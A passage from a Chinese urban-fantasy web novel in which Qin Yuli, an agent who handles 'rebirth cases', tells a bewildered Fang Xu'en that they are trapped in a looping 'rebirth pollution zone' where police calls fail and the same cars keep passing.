方许恩说:“我家里人在我小时候就出意外走了,我不多的朋友都在国外,你确定要我现在打?” 秦于理似乎微微吃了一惊,上下打量了方许恩一阵才说:“那你打个110。” 方许恩嘴巴张得更大了:“秦小姐……” “叫名字。” “秦、秦于理,你刚刚说什么,你让我报警?” “嗯。” “报假警犯法的!”方许恩说,“到底出了什么事,你告诉我啊!” 秦于理直接劈手夺过方许恩的手机,拨打了110,方许恩着急去抢,秦于理身形灵活,一瞬间往后空翻退开了数米,把手机高高举在空中。 拨号音响起,然后,是一串忙音。 方许恩吃惊:“国内的报警电话还有打不通的时候?” 秦于理把手机丢还给他:“不是报警电话打不通,是我们被屏蔽了。” “被什么屏蔽了?” “正常的时间线、因果线,原因和源头还不清楚,但我们现在应该在一个重生污染区里。” “不是你等等!”方许恩就差抓耳挠腮了,他觉得自己虽然从小在国外长大,但中文学得挺好的,可为什么秦于理说的话他每个字都听得懂,连在一起却听不懂了? “你刚刚不是问我王洁琼的事吗?”秦于理在街边马路牙子上坐下来,托着腮看路上经过的车辆,“隀A61347,这辆车已经在我们面前经过三次了。” “什么?” “看,又来了。” 方许恩往秦于理指的方向看去,远远的有一辆蓝黄相间的出租车驶过来,直到靠近了他才发现车牌号的确是“隀A61347”。 “接着是隀B8255E,隀B17297和隀ADE3348……”秦于理一口气报出了一串数字,果然都一一应验。方许恩看傻眼了。 “秦于理,你是先知吗?” 秦于理冷冷地看向方许恩:“我不是先知,但你可能是智障。” 方许恩:“……” 秦于理说:“王洁琼是个重生者,我是负责办理重生案件的工作人员,重生者被回收后,相应的污染会被清除,和她接触过的人大部分应该都会把她忘记,但是你还记得。” 方许恩嘴巴慢慢张成了“O”型。 秦于理说:“萌萌昨晚应该让你吃了清理重生污染的补剂,结果今天你不仅记得她,没有合理化她的消失,还试图寻找她,你们的因果线原本应该没有纠缠,教化所大部分情况下不会出问题,这说明你有问题。我们现在被困在这里,多半和你有关。” 方许恩发誓,秦于理看向他的那一刻,他腿肚子都快抽筋了。